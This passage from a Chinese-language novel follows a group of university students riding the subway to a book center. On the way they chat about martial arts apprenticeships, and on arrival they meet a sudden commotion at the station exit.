艾青禾冲他笑了一下,神情有些感激。 路上要花费近两个小时,这么漫长的时间,一句话都不说会很尴尬,加上赵凡和严自恒正跟林明晖聊什么短视频制作之类,所以艾青禾索性跟孟彦卿聊起天来。 “你刚才说那张地铁路线的卡片是你二师兄给的,你有多少个师兄呀?” “我爸正经收的徒弟就三个,三师兄还在读大学,在京市体育学院学体育教育,我伯父收的徒弟多一点。” 艾青禾好奇:“你不是你爸的徒弟吗?” 孟彦卿摇摇头:“我没有打算走传承武术的道路,没必要拜师。” 这倒也是,艾青禾点点头,继续好奇:“那你二师兄是在容城工作了吗?” “在省武术队做助理教练员。” 艾青禾哇了一声:“那肯定要很厉害才行。” 孟彦卿笑道:“我爸说他是三个徒弟里最有天分的。” “你肯定也很厉害。”艾青禾点点头,语气十分理所当然,“虎父无犬子嘛。” 孟彦卿忍不住笑了一下。 林明晖这时扭头看了一眼,见他们聊得有来有往,就放心地回过头去。 将近十一点时,他们终于抵达购书中心站,跟着人流走出车厢,艾青禾还嘟囔着吐槽:“人真的好多,比我坐过最挤的公交车还要挤。” “3号线更挤,来报到的时候从火车站要坐3号线才能到大学城,你没感觉到拥挤吗?”孟彦卿反问道。 “没有哇。”艾青禾理直气壮,“我哥开车去拉我的。” 孟彦卿:“……” 林明晖这时转头,说要从C出口出去,话音刚落,就见走在他们前面的赵凡和严自恒突然停了下来。 “怎么不走啦?”艾青禾问道,伸手拨了一下严自恒背包上的玩偶,嘻嘻笑了一声。 没等他们回答,就听到前面传来一阵骚乱。 艾青禾立刻好奇地拨开严自恒和赵凡往前一看。